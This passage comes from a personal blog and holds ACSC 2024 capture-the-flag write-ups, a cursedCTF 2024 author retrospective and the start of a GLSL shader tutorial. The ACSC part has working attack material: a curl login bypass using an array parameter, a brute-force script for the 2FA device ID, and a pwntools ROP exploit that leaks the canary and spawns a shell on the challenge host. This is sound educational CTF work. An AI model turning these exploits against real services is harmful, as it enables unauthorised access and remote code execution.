        if (username === 'guest') {
            res.send('Welcome, guest. You do not have permission to view the flag');
        } else {
            res.send(`Welcome, ${username}. Here is your flag: ${FLAG}`);
        }
    } else {
        res.send('Invalid username or password');
    }
});

app.listen(5000, () => {
    console.log('Server is running on port 5000');
});

The website hosts a simple login page. If we look at the login route, our username is first used to retrieve the user object, then our password is checked. Lastly, it checks if our username is “guest” and prevents us from viewing the flag if that’s the case. Notice that username === 'guest' is a strict comparison while all other checks are loose. This means that if username is somehow an array, this comparison will always fail. On the other hand, const user = USER_DB[username]; will retrieve the user even when username is an object. It’ll try to coerce the object into a string and use that as the index instead. We abuse this to login as guest but still retrieve the flag.

curl http://login-web.chal.2024.ctf.acsc.asia:5000/login -X POST --data 'username[]=guest&password=guest'

ACSC{y3t_an0th3r_l0gin_byp4ss}

Too Faulty

authored by tsolmon

The admin at TooFaulty has led an overhaul of their authentication mechanism. This initiative includes the incorporation of Two-Factor Authentication and the assurance of a seamless login process through the implementation of a unique device identification solution.

We are given a login page where we can create accounts and login. You can then setup two factor authentication, which will make it required for future logins. Lastly, when you login with two factor authentication enabled, the website will ask if you want to remember the browser.

Let’s see how the website “remembers” your device.

document
  .getElementById("loginForm")
  .addEventListener("submit", function (event) {
    event.preventDefault();

    const username = document.getElementById("username").value;
    const password = document.getElementById("password").value;
    const browser = bowser.getParser(window.navigator.userAgent);
    const browserObject = browser.getBrowser();
    const versionReg = browserObject.version.match(/^(\d+\.\d+)/);
    const version = versionReg ? versionReg[1] : "unknown";
    const deviceId = CryptoJS.HmacSHA1(
      `${browserObject.name} ${version}`,
      "2846547907"
    );

    fetch("/login", {
      method: "POST",
      headers: {
        "Content-Type": "application/json",
        "X-Device-Id": deviceId,
      },
      body: JSON.stringify({ username, password }),
    })
      .then((response) => {
        if (response.redirected) {
          window.location.href = response.url;
        } else if (response.ok) {
          response.json().then((data) => {
            if (data.redirect) {
              window.location.href = data.redirect;
            } else {
              window.location.href = "/";
            }
          });
        } else {
          throw new Error("Login failed");
        }
      })
      .catch((error) => {
        console.error("Error:", error);
      });
  });

function redirectToRegister() {
  window.location.href = "/register";
}

If we look at login.js, you’ll notice that it’s not just grabbing the username and password. It’s also taking a deviceId, which is calculated from your browser name and version, and attaching that as an X-Device-Id header in the post request.

const browser = bowser.getParser(window.navigator.userAgent);
    const browserObject = browser.getBrowser();
    const versionReg = browserObject.version.match(/^(\d+\.\d+)/);
    const version = versionReg ? versionReg[1] : "unknown";
    const deviceId = CryptoJS.HmacSHA1(
      `${browserObject.name} ${version}`,
      "2846547907"
    );

If you play around with the website a little bit, you’ll find out admin has a really bad credential admin:admin, but we’re blocked by two factor authentication. What if the admin had remembered some device somewhere? The deviceId seems easy enough to bruteforce since there are only so many versions and browsers out there. That seems to be the case, and you just bruteforce the deviceId with a simple script to get the flag 😊

ACSC{T0o_F4ulty_T0_B3_4dm1n}

There is another solution by @lebr0ni - Just bruteforce the one time password used for the two factor authentication. Even though there is a captcha on the two factor authentication page, it can be reused for the same session id. Therefore, you can try different passwords using the same captcha.

const request = require("request");
const CryptoJS = require('crypto-js');

const username = "admin";
const password = "admin";
const browser = "Chrome"; //"Firefox"
// found 110 through previous trials
for(let i = 150; i>=100; i-=1){
  let version = `${i}.0`;
  console.log(`${browser} ${version}`);
  let deviceId = CryptoJS.HmacSHA1(
    `${browser} ${version}`,
    "2846547907"
  );

  let cookieJar = request.jar()
  request.post({
    headers: {
      "Content-Type": "application/json",
      "X-Device-Id": deviceId,
    },
    url: 'http://toofaulty.chal.2024.ctf.acsc.asia:80/login',
    jar: cookieJar,
    body: JSON.stringify({ username, password }),
  }, (error, response, body) => {
    console.log(body, i, deviceId.toString());
    if(body.indexOf('2fa') < 0){
      request.get({
        jar: cookieJar,
        url: 'http://toofaulty.chal.2024.ctf.acsc.asia:80/',
      }, (error, response, body) => {
        console.log(body);
      })
    }
  })
}
// ACSC{T0o_F4ulty_T0_B3_4dm1n}

Pwn

rot13

authored by ptr-yudai

This is the fastest implementation of ROT13!

nc rot13.chal.2024.ctf.acsc.asia 9999

#include 
#include 

#define ROT13_TABLE                                                   \
  "\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f"  \
  "\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f"  \
  "\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f"  \
  "\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f"  \
  "\x40\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x41\x42"  \
  "\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x5b\x5c\x5d\x5e\x5f"  \
  "\x60\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x61\x62"  \
  "\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x7b\x7c\x7d\x7e\x7f"  \
  "\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f"  \
  "\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f"  \
  "\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf"  \
  "\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf"  \
  "\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf"  \
  "\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf"  \
  "\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef"  \
  "\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"

void rot13(const char *table, char *buf) {
  printf("Result: ");
  for (size_t i = 0; i < strlen(buf); i++)
    putchar(table[buf[i]]);
  putchar('\n');
}

int main() {
  const char table[0x100] = ROT13_TABLE;
  char buf[0x100];
  setbuf(stdin, NULL);
  setbuf(stdout, NULL);

  while (1) {
    printf("Text: ");
    memset(buf, 0, sizeof(buf));
    if (scanf("%[^\n]%*c", buf) != 1)
      return 0;
    rot13(table, buf);
  }
  return 0;
}

acsc2024/rot13$ checksec rot13
[*] '/mnt/c/Users/brons/ctf/acsc2024/rot13/rot13'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

It’s clear the scanf is the bug here, you can write arbitrary data onto the stack, and just ROP from there. However, how would I leak the stack canary and addresses. Originally I thought you’d abuse strlen. I spend way longer than I’d like to admit trying to make scanf not append a null byte for a leak. The leak is actually putchar(table[buf[i]]);, where buf[i] is a signed char array. That means it can contain negative values, and we can leak contents on the negative index of the table! Since the table is on the stack, we can leak the canary and all the addresses we’ll need. So a simple leak and some ROP later, we got our flag.

ACSC{aRr4y_1nd3X_sh0uLd_b3_uNs1Gn3d}

#!/usr/bin/python3

from pwn import *

elf = ELF("./rot13_patched")
libc = ELF("./libc.so.6")

context.binary = elf
context.terminal = ["tmux", "splitw", "-h"]

def connect():
    if args.REMOTE:
        nc_str = "nc rot13.chal.2024.ctf.acsc.asia 9999"
        _, host, port = nc_str.split(" ")
        p = remote(host, int(port))

    else:
        p = process([elf.path])
        if args.GDB:
            gdb_script = """
            b *main+752
            """
            gdb.attach(p, gdb_script)

    return p

def main():
    p = connect()
    payload = bytes([i for i in range(0x80, 0x100)])
    p.sendline(payload)
    p.recvuntil(b"Result: ")
    leak = p.recvuntil(b"\n")
    print(leak)
    main = u64(leak[64:72]) - elf.symbols['main']
    stack_canary = u64(leak[104:112])
    libc_base = u64(leak[8:16]) - libc.symbols['putchar'] - 119
    print(hex(libc_base))
    libc_base &= 0xfffffffffffff000
    elf.address = main
    libc.address = libc_base

    print(hex(main), hex(libc_base), hex(stack_canary))

    payload = b"A"*0x100
    payload+=p64(stack_canary)
    payload+=p64(stack_canary)
    payload+=p64(main+0x101a)
    payload+=p64(main+0x101a)
    rop = ROP(libc)
    rop.raw(rop.rdi)
    rop.raw(next(libc.search(b"/bin/sh\x00")))
    rop.raw(libc.symbols['system'])
    payload+= rop.chain()
    p.sendline(payload)
		p.sendline(b"") # end input to trigger ROP
    p.interactive()

if __name__ == "__main__":
    main()
# ACSC{aRr4y_1nd3X_sh0uLd_b3_uNs1Gn3d}

Rev

*Compyled

authored by splitline

It's just a compiled Python. It won't hurt me...

For this challenge, we are given a pyc file. Trying to decompile the file back to python leads nowhere. Firstly, the opcode used (MATCH_SEQUENCE) can’t be decompiled by any known decompiler. Secondly, the first few instructions reference constants out of bounds. At least pycdas still gives us the byte codes…

run.pyc (Python 3.10)
[Code]
    File Name: 
    Object Name: 
    Arg Count: 0
    Pos Only Arg Count: 0
    KW Only Arg Count: 0
    Locals: 0
    Stack Size: 0
    Flags: 0x00000040 (CO_NOFREE)
    [Names]
        'print'
        'input'
    [Var Names]
    [Free Vars]
    [Cell Vars]
    [Constants]
        'FLAG> '
        'CORRECT'
    [Disassembly]
        0       LOAD_NAME                     1: input
        2       LOAD_CONST                    0: 'FLAG> '
        4       CALL_FUNCTION                 1
        6       LOAD_CONST                    12 
        8       LOAD_CONST                    20 
        10      BUILD_TUPLE                   0
        12      MATCH_SEQUENCE
        14      ROT_TWO
        16      POP_TOP
        18      DUP_TOP
        20      BINARY_ADD
        22      DUP_TOP
        24      BINARY_ADD
        26      DUP_TOP
        28      BINARY_ADD
        30      DUP_TOP
        32      BINARY_ADD
        34      DUP_TOP
        36      BINARY_ADD
        38      DUP_TOP
        40      BINARY_ADD
        42      BUILD_TUPLE                   0
        44      MATCH_SEQUENCE
        46      ROT_TWO
        48      POP_TOP
        50      BINARY_ADD
[...]
        2410    BINARY_ADD
        2412    BUILD_TUPLE                   38
        2414    CALL_FUNCTION                 1
        2416    CALL_FUNCTION                 1
        2418    BUILD_TUPLE                   0
        2420    MATCH_SEQUENCE
        2422    ROT_TWO
        2424    POP_TOP
        2426    DUP_TOP
        2428    BINARY_ADD
        2430    BUILD_TUPLE                   0
        2432    MATCH_SEQUENCE
        2434    ROT_TWO
        2436    POP_TOP
        2438    UNARY_NEGATIVE
        2440    BUILD_SLICE                   2
        2442    BINARY_SUBSCR
        2444    COMPARE_OP                    2 (==)
        2446    POP_JUMP_IF_FALSE             0 (to 0)
        2448    LOAD_NAME                     1: input
        2450    LOAD_CONST                    1: 'CORRECT'
        2452    CALL_FUNCTION                 1
        2454    RETURN_VALUE

Notice that it tries to load constants at offsets 12 and 20, whereas the file only has 2 constants. It’s abusing out of bound indexes to get values from the memory. Sadly, this makes this pyc file extremely inconsistent. The file can only be run successfully around 1/5 of the time on my machine, probably due to some randomized stack layout.

During the competition, I was completely clueless as to what those instructions do. I looked up the MATCH_SEQUENCE instruction, but there didn’t seem to be any sequence in this file. I thought that the tuple wasn’t a sequence, so it would push a false onto the stack. Also, all the other arithmetics just seem weird to me.

That’s probably mostly because it’s 7 in the morning at this point and I’ve been up all night. Not the ideal state for playing a CTF, but you do what you need to do…

After the competition ended, I looked up how other people approach this challenge. There are mainly two approaches, either print out the value after it’s calculated by the file itself, or just understand how the values are constructed. For the first approach, if we look at the disassembled bytecode, we see that in the end, our value is compared using the COMPARE_OP. If at that point we instead print out that value, using input for example, we can straight up print out the flag. Patching run.pyc file using a hex editor or anything of your choice can achieve this.

Now for understanding the program. It turns out the MATCH_SEQUENCE will match on a tuple, and push a true onto the stack. If we look at the 4 instruction sequence

        2      BUILD_TUPLE                   0
        4      MATCH_SEQUENCE
        6      ROT_TWO
        8      POP_TOP

It pushes an empty tuple, then pushes a true, and pops the empty tuple. Therefore, the whole sequence is simply just pushing a ture (1) onto the stack. Now the other operations string together to construct all the values needed for the comparison. On byte 2412, all the values on the stack are turned to a tuple. The tuple is then called with bytes and str (found through experiments and printing out values with input). The result is compared with the user input to determine if correct should be printed or not. Simulating this procedure is easy enough. Parse the disassembled output a little bit, and the final stack contains the flag.

ACSC{d1d_u_notice_the_oob_L04D_C0N5T?}

ps - dis.txt is some pre-processed output of pycdas, removed the line number and the other file descriptions

f = open("dis.txt", "rb").read().split(b"\n")
f = [i.split()[0] for i in f if i != b""]

nf = []
i = 0
while i < len(f) - 3:
    if f[i] == b"BUILD_TUPLE" and f[i+1] == b"MATCH_SEQUENCE" and f[i+2] == b"ROT_TWO" and f[i+3] == b"POP_TOP":
        nf.append(b"PUSH 1")
        i+=4
    else:
        nf.append(f[i])
        i+=1

stack = []
for i in nf:
    if i == b"PUSH 1":
        stack.append(1)
    elif i == b"BINARY_ADD":
        a, b = stack[-2], stack[-1]
        stack.pop()
        stack.pop()
        stack.append(a+b)
    elif i == b"DUP_TOP":
        stack.append(stack[-1])
    else:
        print(f"unknown opcode: {i}")


print(stack)
print(bytes(stack))
# ACSC{d1d_u_notice_the_oob_L04D_C0N5T?}

Sneaky VEH

authored by hank_chen

Where is the flag?

I start by throwing the binary at ghidra. Viewing the main function shows us that 4 command line arguments are needed. I then proceed to run the program with 4 random values. (I used WSL on Windows so it’s quite natural to just run the program, though this is probably a bad practice when reversing 🤔)

acsc2024/sneaky-veh$ ./sneaky_veh.exe 1 1 1 1
[+] Put 4 correct passcodes in command line arguments and you will get the flag!
KEY0: 1
KEY1: 1
KEY2: 1
KEY3: 1
???
See Ya!

So the arguments are reflected to the output. Let’s find out where those arguments are stored. I searched for KEY as a defined string and found where those values are stored in memory. Well if those are the keys, they must be used for decoding the flag right?

I then go to all the places where those memory addresses are read from and get some interesting looking equations. Let’s call them check1 through 3.

check1 (0x12a0):

Our key values seem to be compared with some parameters, we’ll need to find out the values later.

check2 (0x13b0):

The function manipulates our value and then compares it with some other values in memory, this can be used as a constraint.

check3 (0x1b50):

The key values are used to xor some value in memory, and “decrypt” some values in memory.

For now, only check2 is useful. I used z3 to recover a usable set of arguments and feed that to the program. Hey, something popped up! Seems like we passed the first check, but the flag doesn’t show up. We still need to recover what arguments are passed to check1.

I turned to dynamic reversing for this and fired up x32debug. This is probably the first time I used this… So I set a breakpoint at check1, and run with the arguments. Ah… it’s breaking on some other exceptions. After a lot (like A LOT) of continues, we land on the function.

So check1 is called with ‘ACSC2024’ as the argument. With this knowledge, we can recover the correct key needed using z3.

ACSC{VectOred_EecepTi0n_H@nd1ing_14_C0Ol}1013

from z3 import *
from pwn import u32

s1 = Solver()
a = BitVec('a', 32)
b = BitVec('b', 32)
s2 = Solver()
c = BitVec('c', 32)
d = BitVec('d', 32)
ans = [0x252d0d17, 0x253f1d15, 0xbea57768, 0xbaa5756e]

s1.add((LShR(a, 0x18) | (LShR(a, 0x8) & 0xff00) | a<<0x10) ^ b == ans[0])
s1.add((LShR(b, 0x18) | (LShR(b, 0x8) & 0xff00) | b<<0x10) ^ a == ans[1])
s1.add(a^b == u32(b"ACSC"))
s1.add((b^u32(b"ACSC")) & 0xff == 0x99)

s2.add((LShR(c, 0x18) | (LShR(c, 0x8) & 0xff00) | c<<0x10) ^ d == ans[2])
s2.add((LShR(d, 0x18) | (LShR(d, 0x8) & 0xff00) | d<<0x10) ^ c == ans[3])
s2.add(c^d == u32(b"2024"))
s2.add((d^u32(b"2024")) & 0xff == 0x4f)
#    s.add(((LShR(c, 0x18) ^ LShR(c, 0x10) ^ LShR(c, 0x8) ^ c) & 0xff)  == i)

print(s1.check())
if s1.check()==sat:
    m = s1.model()
    A = m[a].as_long()
    B = m[b].as_long()

print(s2.check())
if s2.check()==sat:
    m = s2.model()
    C = m[c].as_long()
    D = m[d].as_long()

print(f"{A:8x} {B:8x} {C:8x} {D:8x}")
s1.add(a != A)
s2.add(c != C)

# correct key: cfe7a999 8cb4ead8 15d89f4f 21eaaf7d
# ACSC{VectOred_EecepTi0n_H@nd1ing_14_C0Ol}

cursedCTF 2024 - cursed writeup

2024-04-03T00:00:00+00:00

🎉🎉 Cursed CTF run for the second year 🎉🎉

During HITCON CTF Final, I met some of the admins for cursedCTF, and joined the admin team. In the end, I posted 6 challenges. I hope that everyone enjoyed the cursedness of this competition.

I always love the idea of a troll competition during April Fools. When I used to be an active competitive programming player, some friends would host these April Fools competitions, each with different gimmicks. That transfers to CTFs as well. I played XMAS-GTF in 2020 and the first cursedCTF last year, and I truly enjoy those experiences.

Last year I met some of the admins at HITCON CTF final and got to join the admin team! This is the first time being able to contribute to this event and I certainly enjoy my time.

Some (cursed) statistics

11058 teams that scored at least 1 flag
101 total challenges
1 challenge with 9606 solves
2 often used flag formats
2 challenges with no flag format
2+ leaked flags
4+ flags traded with contestants
1 admin playing as a contestant
2 players banned
4 challenges require real money
2 challenges reused
Competition ended 3 times

(I’ll add more as I gather more information)

My challenges

Well, I guess I should post writeups of my own challenge. I’ll order it roughly by my own perceived cursedness

forensic - fetusstego

another easy stego

This one is probably the most normal ctf challenge I created. The only cursed part is merely that it’s a stego. There isn’t really any twist to it, just guessed how the image is created.

So the image is created by 36 images, each with a single word. The pixels are then “zipped” together such that each 6 by 6 megapixel contains the pixel from each image in order. The solution is simply to extract the 36 images back out, which each contains a letter from the flag.

osint - Geogusser-Extreme 2

Guess the coordinate from the description

```
cursed.free.flag
```

the flag format is cursedctf{12.456789,-123.340000}

This challenge is created to check the “Solvable by dcode.fr” bingo block in mind. I totally missed the part where the bingo said “Crypto challenge”. I thought: How can I pick a dcode functionality that isn’t obvious, so it’s technically solvable by dcode.fr but it’s actually a bit harder than that. Then in the geography section, I found the what3word option, and decided Yeah this is what I want. Hence this challenge.

The solution is obviously just going to dcode.fr, and put the description in, then you’ll get the flag. Wrap it in flag format and you’ll get cursedctf{65.826986,-113.171834}

osint - Geogusser-Extreme

Guess the coordinate from the description

```

```

the flag format is cursedctf{123.456789,12.340000}

Before I started to create any challenge, Emma1 already created all the geogusser challenges, but there seems to still be a lack of geogusser challenges (yeah there’s never enough geogusser!). So I think? What is the simplest geogusser? Or else, what’s the minimal hint needed to guess a location? I then remember the null island. That’s obviously a good place to guess! With an empty description, people would be able to get that it’s the null island and guess the all zero coordinate! And this challenge is born, the flag is obviously cursedctf{0.000000,0.000000}

crypto - crypto curses

You've stumbled upon a strange website where everything seems to be encrypted. There's a message written on the homepage:

```
Cursed Cryptography Challenge:

Can you break the curse and find the hidden flag?
Remember, the flag format is cursed{\w+}
```

Your task is to decrypt the following ciphertext to reveal the flag:

```
Ciphertext:
Uijt jt b tfdsfu nvdi. Ju't b dpnjoh bddftt, cvu ju't tqfoejoh ijn xjui b xfflt."
```

This challenge is created by chatgpt™️. Jokes aside, I was originally hoping that chatgpt could create a cohesive challenge, with a reasonable flag. It ended up being a lot less stable when it comes to encrypting and decrypting things. Let’s take this exact challenge, the ciphertext is supposedly a Caeser cipher of the plaintext This is a secret message. It's a coming after, but it's spending him with a weird.. If you tried to decrypt the ciphertext yourself, however, you’ll quickly find out it is the encryption of This is a secret much. It's a coming access, but it's spending him with a weeks.". Not to mention that chatgpt end up stating that the flag should be cursed{secret} with totally no logic.

Well obviously cause chatgpt doesn’t have logic, it’s just a transformer* guessing the next token based on previous sentences

So the original idea of just posting the challenge description would utterly fail, as no one would probably guessed it correctly. The next idea is to use some sort of pixelation on the code block, and intended for people to use tools such as Depix to recover the content. This would have been a cool idea actually, but I can’t find a good pixelation app that I’m confident to be “solvable” (I guess challenges don’t really have to be solvable in cursedctf anyway)

In the end, I decided that maybe if the original chat log is leaked in some form. People can just look at the correct flag, and there will be less confusion. I cropped the chat such that the shareable link is shown in the navigation bar, with just 1 character cropped out. I can maybe crop out a lot more characters, but I’m afraid that it’ll end up becoming a DDOS attack toward chatgpt. Though in hindsight, two or even three characters (so 4096 possible urls) should be fine.
Link to the chat

Here some trials I made before settling with the above conversation

Link to trail conversation

I was hoping that an odd request message could somehow force chatgpt to include it in the flag somehow in a somewhat more reasonable manner.

Seems like I can’t show multiple options chosen during the conversation…

forensic - babystego

Wow I make a image with the flag in powerpoint =D
  
hint - replace the flag format to `cursedctf{.*}` when you found the flag

As the description suggested, this challenge is indeed made with PowerPoint. There are two cursedness in this challenge. The original idea is to create a stego challenge where the flag is right in front of you the whole time, but people wouldn’t believe it. So the simple way to do this is just to put the flag right in the middle of the image, but add various rabbit holes around the image. What I totally missed is that I wrote cursed{I~AM~FLAG} in the image, while I set up the challenge to accept cursedctf{I~AM~FLAG}. I didn’t notice this until the last day of the competition, and released the hint to fix that, as this was not the intended difficulty of this challenge. It’s very funny though, I did spend some time deciding if I want to keep it as is since like 20 people already guessed it.

misc - check-sanity

`cursedctf{cursedctf{cursedctf{cursedctf{cursedctf{cursedctf{flag}}}}}}`

For this challenge, the idea is that normally you always submit flags according to the description. So then the cursed thing is the reverse, to submit the description according to the flag? Obviously, you’ll need a flag that almost everyone would have gotten, which would be sanity-check.

Now if you look at sanity-check, the description said haha i claimed the best challenge and then the flag. So, the flag for check-sanity is haha i claimed the best challenge. I did make the arbitrary decision of truncating out the flag part. I hope that this doesn’t hinder anyone with the right idea but ends up not getting the flag.

Halfway through the competition I thought that this challenge shouldn’t be that hard, but no one is getting it. I then saw that we had a #leaked-flags channel, and think: Huhhh it’ll be funny if the leaked flags channel actually contains a real flag. Since the flag for this challenge doesn’t have the flag format, it’s the perfect candidate as people wouldn’t notice that it’s a valid flag. I then posted a lot of fake flags along with it and announced the “One Piece” in the leaked-flags channel.

rev - git madness

JDSL... but in git????
ps - it only took 4 minute on my machine to check the flag =D that's blazingly fast

This is the challenge that drives me to contribute to this year’s cursedCTF. I was watching YouTube and saw The Most Amazing Software Ever Created, which is a reaction video to The inner json effect. The only thought I have after this is.

This is sooooo cooool, what if this is a CTF challenge?

Some parts obviously need to change. I’m more familiar with git, so I think I’ll build a similar system with git. Also, this might not be suitable for a normal CTF. (I’m creating challenges for b01lersCTF as well!! Stay Tune!!) Oh, cursedctf is around the corner and I did join the admin team, I should just put it there.

All of that happened like 1 week before the competition, and I didn’t have much time, so I quickly brew up a prototype and made this schematic.

Yeah that seems cool, we can use the git head and the git commits as states and pointers. Now we can implement a finite state machine using git! Some possible things I could add to the challenge are

Due to the time constraints, I can only implement the checking part as basic as I can while still abusing git’s state machine. I use shellscript as the main language and call git directly to manipulate the state. The idea is that each branch head acts like an anchor, while git checkout HEAD^ or git checkout HEAD~x serves as the way to move the pointer around. Due to the limitation of git, you can only move the pointer in one direction, namely toward the parent.

For the flag format part, I checked each character one by one. Then I have a section that does a “matrix multiplication”, which is just adding some position values together and verifying if they match the target sum value. I achieve summation check by having the target number of commits on the branch, and for each character input, you move that many commits toward the parent. After a certain number of jumps, if we land on the correct commit (state), then the check passes. The rest of the flag is checked through several modulo checks. Having git go to parents several times with one final commit going back to the branch head, we can have some sort of modulo operation, and hard code the result commit.

Let’s admire the glory of the final product.

I would hope that I can implement all the “features” and integrate more interesting ways to move on this “state machine”, but run out of time. Also, I think this challenge is cursed enough as is. jospeh fan club is the only team that ends up solving it. I’d hope that more people attempted it, but having a solve is already more than what I expected.

Conclusion

I hope that everyone who participated in this event has a fun time. I truly enjoyed the whole process, and would look forward to next year (or finals!). That’ll be a wrap for cursedCTF 2024 qual!

*: I’m not sure if chatgpt is using transformer under the hood, I’ll probably need more research into it to find out

Shader Introduction - Fractal Shader (Part 1 /???)

2024-03-12T00:00:00+00:00

Introduction

Over the past few weeks, I have gained interest in shader. I love how complicated patterns can be created from simple, concise code. I was watching YouTube mindlessly and found several wonderful tutorials that taught me the basics of shader, and that’s how I got started. I’ll link those tutorials along the way and at the end of this article.

This blog post will try to note down the sources I used for each section, along with my reasoning behind doing each part.

Shadertoy

Before we start, I shall introduce the tools we’ll be using. This tutorial will be mainly through shadertoy. This is a website that interfaces with Webgl using GLSL, the OpenGL shading language. This allows the user to swiftly iterate through ideas using a simple interface.

You can press Alt+Enter to compile the current code. This will be very useful, so you don’t need to reach for the mouse to see your progress.

What is shader

Let’s start with the basics, what is shader?

In my understanding, shaders are programs that:

Applied to each pixel
Independent of other pixel
Returns a color that should be displayed on that pixel

This means that each pixel is essentially its own unit. and we can exploit that high level of parallelism using something like a GPU.

I understand that this definition is probably a bit off for general graphics with vertex shaders and stuff, but we’ll use this definition for now.

Let’s take for example. If the shader is as follows (In pseudocode)

color shader(pixel_x, pixel_y):
    return (pixel_x, pixel_y, 0.0)

It will take each pixel separately, assign the pixel’s x coordinate to the red channel, the y coordinate to the green channel, and return the color. With every pixel colored, you get something like the following.

void mainImage( out vec4 fragColor, in vec2 fragCoord )
{
    fragColor = vec4(fragCoord.xy/200.0, 0.0, 1.0);
}

That’s not too bad, right? You just use the coordinate to calculate some value, and that will be the color of that pixel.

Coordinate & Color System

If you actually checked what’s written in the shader above, you’ll notice that there is a weird divide by 200 in the code. It’s about time to introduce the coordinate system in shadertoy.

By default, shadertoy labels the pixels from the bottom left corner and utilizes the standard math axis direction. So right is the +x direction and up is the +y direction. Each pixel will have a width of 1, so each pixel gets an integer coordinate.

Next, shadertoy interprets the return value for mainImage as a tuple of RGBA, each ranging from 0.0 to 1.0. However, the transparency value is dropped when rendering. The value of each color is clamped to 0.0 to 1.0, so values larger than 1 will render with full brightness, while a negative value will render as black.

Normalize Coordinate

To better work with the canvas, we’d like to set the coordinate such that the origin is in the middle of the screen, and ranges from -1 to 1 from the left side to the right side (Or from top to bottom). This can be done by scaling and shifting to coordinate.

First, moving the origin to the center of the screen can simply be done by subtracting the coordinate by half the screen size.

vec2 centered = fragCoord.xy - iResolution.xy/2.; 

Here, fragCoord is the pixel coordinate, and iResolution is a variable provided by shadertoy to reference the current render screen size.

If we now think of the center of the screen. The fragCoord will be half the screen resolution on both axis. Now that we subtract half the resolution, the “centered” variable now holds (0, 0). The same logic applies to all other points, and this indeed centers the coordinate system.

The next thing is to fix the coordinate, so the same or similar enough image is displayed on different screen resolutions. For our case, we want the coordinate to span from -1 to 1 no matter how large the screen is. This is simple, we can just stretch the coordinate by the resolution. Something to consider is whether we want the result to stretch when the aspect ratio changes. Sometimes we might want it to just truncate out the part, but it sometimes makes sense to stretch the whole image.

If we want to aspect ratio to be fixed to 1:1, which is the most common, we need to divide the centered coordinate by iResolution.y. Note that we use the y coordinate since it’s usually the shorter coordinate, so the main image will also be shown without any truncation.

However, since pixels can’t talk to each other, how do they collectively form a picture? The trick is some math!

Math (Yes! MATH!)

Circles

You might think: Why is math relevant here? Well, when we think of a picture, we see shapes and graphs. Each shape can then be translated into a kind of equation. Think of a circle. It’s basically taking all the points such that the distance to the center is smaller than a threshold. For example, a circle of radius 1 is formed with $x^2 + y^2 \leq 1$.

Now, if we reverse that process, and try to determine if a point is in a circle, then each individual point can collectively draw a circle. This can be done by calculating the distance of each point to the center, and then checking if that distance is less than the radius! This can be generalized further. For any shape that we need to draw, we can find the formula that determines how far this point is from the shape. To better distinguish the inside of the shape from the outside, we’ll try to make the formula produce a negative distance if it’s inside the shape. This distance function is called the Signed Distance Function, or SDF for short. We can find the SDF for various shapes and use those to draw the shapes we want.

float sdf_circle(vec2 coordinate, vec2 center, float radius){
    return length(coordinate - center) - radius;
}


void mainImage( out vec4 fragColor, in vec2 fragCoord )
{
    // Normalized pixel coordinates (from -1 to 1 on the y axis)
    vec2 uv = (2.*fragCoord - iResolution.xy) / iResolution.y ;

    // draw a circle center at (0, 0) with radius of 0.5
    vec2 center = vec2(0., 0.);
    float dist = sdf_circle(uv, center, .5);
    vec3 col = vec3(dist);

    // Output to screen
    fragColor = vec4(col,1.0);
}

One really helpful resource I found is Inigo Quilez’s website. He had various articles on shader as well as some Wiki-type blogs that acted like a dictionary. For example, there is a page that contains a lot of SDF for various shapes along with demos and code. It is a great resource for both learning shaders and various techniques in rendering.

Creating Edges

In the previous example, the center black part is where the SDF returns a negative number, and the outer grayish part is where it returns a positive number. However, we might only want to draw the circumference of the circle. One way is to use comparisons, like the following code.

float distance = sdf_circle(...);
if(distance < 0.05 and distance > -0.05) {
    col = vec3(1.);
}

However, there are some other math tools we can use to get a smoother result. Firstly, if we’re just drawing a ring, the distance to the circumference is probably more useful than the sign distance, so taking the absolute value will help simplify the situation.

Now we only want the part that is close to 0. The smoothstep function is a suitable candidate here. Firstly, what is a smoothstep function? We know a step function is a function that jumps from 0 to 1 at a certain value.

\[step(x, v) = \begin{cases} 0, &\quad\text{if} x < v \\ 1, &\quad\text{if} x \ge v \end{cases}\]

But we want a smoother transition between 0 and 1, so smoothstep comes in handy. It instead now takes three parameters.

\[smoothstep(st, ed, x) = \begin{cases} 0, &\quad\text{if } x < st \\ f(x), &\quad\text{if } st \le x < ed \\ 1, &\quad\text{if } x \ge ed \end{cases}\]

where f(x) is a smooth transition between 0 and 1. There are a lot of different smoothstep functions. The smoothstep function in GLSL, the function is $f(x) = x^{2} \times (3 - 2 x)$.

So if we use smootstep to clamp our value around 0.05, we get a black circle on a white background, since only the part that’s close to our center circle gets a value close to 0. If we want to invert the color, simply subtract it from 1, and we get the following.

float sdf_circle(vec2 coordinate, vec2 center, float radius){
    return length(coordinate - center) - radius;
}


void mainImage( out vec4 fragColor, in vec2 fragCoord )
{
    // Normalized pixel coordinates (from -1 to 1 on the y axis)
    vec2 uv = (2.*fragCoord - iResolution.xy) / iResolution.y ;

    // draw a circle center at (0, 0) with radius of 0.5
    vec2 center = vec2(0., 0.);
    float dist = sdf_circle(uv, center, .5);
    vec3 col = 1. - vec3(smoothstep(0., 0.05, abs(dist)));

    // Output to screen
    fragColor = vec4(col,1.0);
}

Conclusion

